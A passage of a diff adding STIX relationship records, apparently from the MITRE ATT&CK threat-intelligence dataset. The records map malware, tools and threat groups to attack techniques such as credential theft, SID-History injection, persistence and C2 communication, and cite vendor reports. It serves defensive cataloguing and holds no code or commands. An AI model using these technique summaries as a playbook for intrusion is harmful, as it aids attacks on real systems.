"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) uses the Camellia cipher to encrypt communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b41c9b77-536b-49bc-8cb9-a873aa121002", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "source_name": "FireEye Poison Ivy", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s MISC::AddSid module can appended any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1178) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting Registry keys used for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) automatically collects data about the victim and sends it to the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4ed42682-d3ad-4a4f-8576-ccdf28ce642b", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform uses Extended Attributes to store encrypted executables.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) obtains Windows logon password details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--13910722-9dc6-499f-9fbf-0a9cb3daab11", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--eb3a34dd-c516-44a6-9268-6464016bd14a", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) creates a scheduled task to maintain persistence on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ff2b7bc3-d6ca-488a-bdd5-1f2f27dfc8bd", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample adds persistence on the system by creating a shortcut in the user\u2019s Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7b4ee7bc-3a27-4142-a9bd-f65787193e8b", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the command-line interface for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2c79282f-5e60-48b9-962a-d61c3d73b334", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Elise](https://attack.mitre.org/software/S0081) configures itself as a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2d4d634d-ed13-462a-916b-94798546ec6c", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a watering hole to serve up malicious code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5ade424d-5a9d-4209-8aa4-a129783ffaa3", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) uses various XOR techniques to obfuscate its components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[APT19](https://attack.mitre.org/groups/G0073) performed a watering hole attack on forbes.com in 2014 to compromise targets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--478f7f77-6b6b-4949-ac87-f28419b5e2ab", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about the OS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--231dc643-8b22-4a24-83f2-7327a1c5bd13", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "description": "Once [APT28](https://attack.mitre.org/groups/G0007) gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--565d2d07-0e2e-44e5-bc37-5a64e49394ee", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to take a screenshot and send it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--11010986-1b4d-4158-b47d-bbff34306c98", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of accessing locally stored passwords on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--044ad6d3-9389-4764-9b96-ad53dc98840d", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:31.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "source_name": "Invincea XTunnel", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--e2e33068-b08e-45fd-89e0-0cf79868f902", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can download additional malware plug-in modules and execute them on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.517Z", + "id": "relationship--4c0f441f-13b1-4b79-b658-e081d5143a94", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.100Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) decoded base64-encoded PowerShell commands using a VBS file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--58545f9a-d2cf-4466-bc7f-9cdbdce25d70", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.634Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", + "source_name": "MuddyWater TrendMicro June 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) obfuscates its code in an apparent attempt to make analysis difficult.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.939Z", + "id": "relationship--4d7e8d98-9894-4dfa-9013-af8d83e6faea", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has deleted existing logs and exfiltrated file archives from a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.140Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the network adapter information and domain/username information based on current remote sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4d12441-c588-47f2-9751-8a86a867a185", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.211Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can use HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.542Z", + "id": "relationship--b5508866-69f6-4bbe-8906-9de0148d9834", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) leveraged PowerShell to 